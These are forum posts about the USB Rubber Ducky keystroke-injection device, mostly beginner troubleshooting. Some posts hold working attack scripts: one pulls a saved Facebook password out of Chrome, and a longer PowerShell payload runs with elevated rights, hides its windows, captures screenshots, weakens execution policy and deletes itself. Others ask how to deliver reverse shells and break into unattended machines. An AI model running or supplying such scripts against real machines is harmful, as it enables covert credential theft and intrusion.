Search the Community

Hi.......i have a problem, hope somebody can help me! Ok,....... I have created a Reverse TCP DNS payload with MSFVenom...... Now i want to execute this File with plugging in the USB Rubber Ducky! How i got to do this? Do i have to convert my Payload with Base64? And if yes, how i could do this? Please help me!

Hi, I recently got a USB rubber ducky, but I'm stuck as to how to use it. I tried a hello world script but nothing showed up on the screen. I have an Asus c200 Chromebook,and tested it on that, and a windows 8 laptop. Both with now results. I just received this yesterday, and haven't had too much time to play with it (like 30 mins.) As I see it, the led blinks like its supposed to, but no result.

USB Rubber Ducky Tool Windows GUI for USB Rubber Ducky Description This tool was made to help beginner users of the USB Rubber Ducky create and copy payloads directly to their Ducky's MicroSD card. I decided to do this mini project since I am in an Intro C# class. I added all the features/options I could think of and tried to make is as user friendly as possible. I would love any feedback, recommendations, or tips that you have to offer! The GitHub Project Direct Download Features Select HD: Which drive the home directory for the ducky will be made.MicroSD: Which removable storage device the .bin file will be copied to.Refresh Devices: Will refresh the HD and MicroSD options.Keyboard Layout: Allows users to select keyboard layout of scripts using encoder 2.x options. Eject: Ejects the MicroSD card. Save Payload: Saves contents of messagebox to text file. Make .bin: Creates .bin based on the .txt script made using the encoder. Copy .bin: Copies .bin made to removable storage device selected. To-DO List Payload Selection: Allow users to select pre-existing payloads from the Rubber Ducky Wiki.Firmware Options: Ability to change Ducky's Firmware.Recommendations? I'll take any ideas and recommendations users may have!Screenshot

my usb rubber ducky came today! however there seems to be a problem.no matter what .bin i put on it. it just bugs out. opens start types JG3;]]]JG/13;]]jg++3jg3#]]]3jg/3[[=0=.[9.\'+.JG opens https://support.google.com/chrome/?p=help&ctx=keyboard#topic=3227046 goes full screen then ends. does this with all .bins i put on.

Does anyone know a way to continue a rubber ducky script after rebooting the Windows7 OS? I'm trying to use the Ducky as a way to automate Machine setups. One of the first things I need to do is disable UAC and change the machine name and Workgroup. Then after that I have to reboot and need the script to pickup where it last left off.

just got my ducky and tried to take the password of my Facebook account using chrome saved passwords. (I'm running on win 8.1 just to clarify) but this script that i tried to write doesn't seem to work. can anyone see why this seems to not work???? this is the script: DELAY 500 GUI D DELAY 500 GUI R DELAY 500 STRING chrome DELAY 500 ENTER STRING chrome://settings/passwords DELAY 500 ENTER STRING facebook DELAY 500 TAB DOWNARROW TAB ENTER TAB TAB TAB TAB TAB TAB CTRL C DELAY 500 GUI R DELAY 100 STRING notepad.exe CTRL V DELAY 100 ALT f DELAY 100 STRING s TAB TAB TAB TAB TAB TAB ENTER STRING C:\Users\Zem The Mattress\Music\ ENTER TAB TAB TAB TAB TAB TAB STRING hello ENTER

I created a tutorial on how to get a remote shell on any windows PC in 5 seconds using RubberDucky... enjoy! https://crowdshield.com/blog/2015/pwn-any-windows-pc-in-5-seconds-with-badusb.php

Hello Rubberducky forum! I just got my fist ducky and i love it! Thanks for the great project Darren and the team keep up the great work! I have a question if this is implemented (or if its not implemented I would love if someone implemented it in some way): Is there a way to do "if/else" commands on the rubberducky? let me explain my self. My idé is if you insert your ducky and its going to to run "wallpaper prank" on a victim computer and he/she got a program running on the computer but you want to get to the desktop so you run "GUI d" in the start of the document. That is going to work fine if all the computers you are targeting are running a program on the screen every time you insert the ducky into it. But all the outer machines that you my run the same program against, maybe the user pressed "GUI d" before he left his workstation and if you run the program your going to bring all the programs back and not get the desktop and that is going to mess whit your program. Do you see my problem and my idé of some more automation in the software, because this can be useful in so many ways. One more ide is if you have your script and in the script you have a section for windows, mac and linux and the specific code runs depending on the os. Am just curios if this is possible? Im pretty new to the hole hacking community and not that good at coding anything else then html and css. /Alleckz PS. (sorry if my spelling is not 100% i'm not native American and I did not use google translate today to check because i'm lazy! i'm a SWEDISH! :D)

I originally made this device with a mark iv and a raspberry pi. https://forums.hak5.org/index.php?/topic/28440-pineapple-kali-pi/ Basically it combines the power of the wifi pineapple, kali, and the usb rubber ducky I have revamped it since: New Hardware costs around $500 Wifi Pineapple Mark V travel bundle Rubber Ducky Cubox i-4 pro 128GB usb 3.0 usb sd card adapter 2 Batteries with a run time of 36 hours

my cmd window say that it cant access the jar and I'M DOING EVERYTHING ELSE RIGHT all of the files are in the same folders I've started the cmd from the same folder

Hey guys, I want to quickly explain the scenario: I will be seated in front of a desktop , which utilize a window OS but I don't know the version of it.... I will have no keyboard , only the possibility to stick up the Ducky. So I am trying to understand if despite not knowing the OS I could break into the system and have a remote access later. The questions are: Is it possible without a keyboard? Which script should I load? Thanks

Hello guys I wrote a very simple script where u cant past your ascii art into a notepad. In case u dont know what ascii is its something like : _______ _ |__ __| | | | | ___ ___| |_ | |/ _ \/ __| __| | | __/\__ \ |_ |_|\___||___/\__| U can generate your art from : http://patorjk.com/software/taag/#p=display&f=Big&t=%0A So lets get started REM So first we are going to open notepad DELAY 1000 GUI r DELAY 300 STRING notepad ENTER DELAY 300 REM now insert the ascii text bij pasting in into your script.txt and add STRING and ENTER to every part of it. REM for example STRING ENTER _______ _ STRING |__ __| | | ENTER | | ___ ___| |_ STRING | |/ _ \/ __| __| ENTER | | __/\__ \ |_ STRING |_|\___||___/\__| ENTER REM please comment if you like or if i did something wrong it its my first simple script. REM u can change the DELAY to what you like :) So thats it, i hope u guys liked it :D The only thing u need to do is change it to a injection.bin I actually dont own a rubber ducky so im not able to test it but it should work :D Seeya,

This is a cross post of sorts: https://forums.hak5.org/index.php?/topic/31831-super-devious-exfiltration/?hl=logger I'm making the contention that if a keylogger had enough memory, that it could log a binary file (base64 or hex encoded first) and exfiltrate it without the network or needing a Flashdrive/Firewire (other)connection.Be it document, db etc... It is a bit of inception, the binary to base64 script would need to be written to the computer first, then pipe the target binary (document/db...) through that script. That script could pause, or wait for the keylogger to say "go", and then using native functions perhpas (like Sendkeys) or some other KB emulation, and the keylogger would then, eventually have the converted binary. It could be a binary that gets written by the RD to the computer, we'll call it kb.exe, and it executes and lt pipes the target file/binary into base64 and then the kb.exe would "type" the converted file for the keylogger to pick up. The RubberDucky function of getting files/scripts onto a computer is done, how about the reverse? Getting (target)files converted into keystrokes and recording those back into the RD or I suppose a second hardware keylogger if RD can't be modified to listen on the bus. It's not a typical use case, and the network or USB drive are quick and easy for networks that aren't very locked down, but on others, this would be the way to do it. If it's been done I aplogize, I can't seem to find anyone suggesting it the way i am. I also understand that it might not be very quick way to get files out of a network, but I don't know, it could be... Memory of course being one of the most significant issues. Compression in the script (upx? 7z?) against the binary first might help. Just throwing it out there. -rich

So, today, with a new problem. EDIT: This is what KKP ( A keylogger ) logged when I hit the button to start the script ** [Ctrl][Alt][AltGr][up][End][Ctrl][Windows][Ctrl][AltGr][End][Alt][AltGr]#[Ctrl][AltGr][Alt][Ctrl][AltGr][Ctrl][AltGr][Ctrl][Windows][Ctrl][AltGr][PageUp][Ctrl][Alt][Windows][AltGr][Alt][AltGr][PageUp][Windows]J[Ctrl][Windows][AltGr][Alt][AltGr][PageDown][Ctrl][Alt][Ctrl][AltGr] [NumLock][Ctrl][Alt][Windows][Alt][AltGr][Alt][Windows][AltGr][MenuClick][Ctrl][Windows][Ctrl][AltGr][PageUp][Alt][Ctrl][Ctrl][Ctrl][Alt][Windows][Ctrl][Ctrl][AltGr][Ctrl][AltGr][Alt][Windows][AltGr][insert][scrollLock][Ctrl][Alt][Windows][AltGr][Ctrl][Alt][AltGr][Ctrl][AltGr][Alt][Windows]>[Windows][Ctrl][AltGr][MenuClick][Ctrl][Alt][Windows][MenuClick][Ctrl][Alt][AltGr][Alt][Ctrl][AltGr][PageDown][Ctrl][AltGr][F12][Windows]J[Ctrl][Alt][AltGr][F11][Ctrl][AltGr][Delete][End][Ctrl][Ctrl][Alt][Windows][Ctrl][Ctrl][AltGr][Ctrl][AltGr][Alt][Windows][AltGr][insert][/scrollLock][Ctrl][Alt][AltGr][Cancel][Alt][Windows][AltGr][Ctrl][Alt][Windows][AltGr][Alt][Windows][AltGr][Ctrl]>[Ctrl][Windows][AltGr][Ctrl][Alt][Windows][AltGr][Ctrl][Ctrl][AltGr][Ctrl][AltGr][PageUp][Ctrl][Alt][Windows] ** That's all that was logged. HELP! can I get a email address to hak5? Last time they just sent me here. Is there a way to contact Darren himself? It's sad when a company just sends you to a useless forum without even helping. Every ducky script leads to the 'CTRL + ALT + DEL' screen. I originally thought it was just someones bad scripting, but it turns out everything does it, either at the beginning or half way through to script. ( Both Win7/8 tried on two Windows 7 comps and one Windows 8 ) One of the Win7 comps and the Win8 comp have NUM Keys. **Example Script** DELAY 3000 GUI r DELAY 750 STRING powershell Start-Process notepad -Verb runAs ENTER DELAY 1500 ALT y DELAY 500 ENTER ALT SPACE DELAY 100 STRING m DELAY 200 DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW ENTER STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss') ENTER STRING $userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' + $folderDateTime ENTER STRING $fileSaveDir = New-Item ($userDir) -ItemType Directory ENTER STRING $date = get-date ENTER STRING $style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>" ENTER STRING $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html' ENTER STRING $Report = $Report +"<div id=body><h1>Duck Tool Kit Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>" ENTER STRING $jpegSaveDir = New-Item $fileSaveDir'/Screenshots' -ItemType Directory ENTER STRING $displayInfo = Get-WmiObject Win32_DesktopMonitor | Where {$_.Name -eq 'Default Monitor'}| Select ScreenHeight, ScreenWidth ENTER STRING $displayWidth = $displayInfo.ScreenWidth ENTER STRING $displayHeight = $displayInfo.ScreenHeight ENTER STRING [system.Reflection.Assembly]::LoadWithPartialName("System.Drawing") ENTER STRING $x = 0 ENTER STRING do { Start-Sleep -Seconds 60 ENTER STRING $jpegName = (get-date).ToString('HHmmss') ENTER STRING $image = new-object System.Drawing.Bitmap 1366 ,768 ENTER STRING $imageSize = New-object System.Drawing.Size $displayWidth,$displayHeight ENTER STRING $screen = [system.Drawing.Graphics]::FromImage($image) ENTER STRING $screen.copyfromscreen(0,0,0,0, $imageSize,([system.Drawing.CopyPixelOperation]::SourceCopy)) ENTER STRING $image.Save("$jpegSaveDir/$jpegName.jpeg",([system.drawing.imaging.imageformat]::jpeg)); ENTER STRING $x++ } while ($x -ne 1); ENTER STRING $Report >> $fileSaveDir'/ComputerInfo.html' ENTER STRING function copy-ToZip($fileSaveDir){ ENTER STRING $srcdir = $fileSaveDir ENTER STRING $zipFile = '/public\Report.zip' ENTER STRING if(-not (test-path($zipFile))) { ENTER STRING set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18)) ENTER STRING (dir $zipFile).IsReadOnly = $false} ENTER STRING $shellApplication = new-object -com shell.application ENTER STRING $zipPackage = $shellApplication.NameSpace($zipFile) ENTER STRING $files = Get-ChildItem -Path $srcdir ENTER STRING foreach($file in $files) { ENTER STRING $zipPackage.CopyHere($file.FullName) ENTER STRING while($zipPackage.Items().Item($file.name) -eq $null){ ENTER STRING Start-sleep -seconds 1 }}} ENTER STRING copy-ToZip($fileSaveDir) ENTER STRING remove-item $fileSaveDir -recurse ENTER STRING Remove-Item $MyINvocation.InvocationName ENTER CTRL S DELAY 1500 STRING C:\Windows\config.ps1 ENTER DELAY 2000 ALT F4 DELAY 200 GUI r DELAY 500 STRING powershell Start-Process cmd -Verb runAs ENTER DELAY 1500 ALT y DELAY 500 STRING mode con:cols=14 lines=1 ENTER ALT SPACE DELAY 100 STRING m DELAY 200 DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW DOWNARROW ENTER STRING powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false ENTER DELAY 1000 STRING powershell.exe -windowstyle hidden -File C:\Windows\config.ps1 ENTER **** I just don't know what to do anymore. Someone help. The scripts came from online. I've tried saving the .bin file on multiple computers, so it's not that. I hope Darren sees this and helps me.. I just don't know what to do, I've tried everything. EDIT:: I've also tried the simple " Hello world " script, same result. ALSO:; The microSD card wont save any new data?

Hey All, For a project i'm working on I need to send pretty much every control character at once. I just assumed the rubber ducky could do this when i bought it, since it's a pretty straight forward construct, however now that i actually start to play with it i can't get this to work. Is it possible with the default firmware to send a string of control characters like: Control + Alt + Windows Key + Shift + x Any help would be much appreciated. Thanks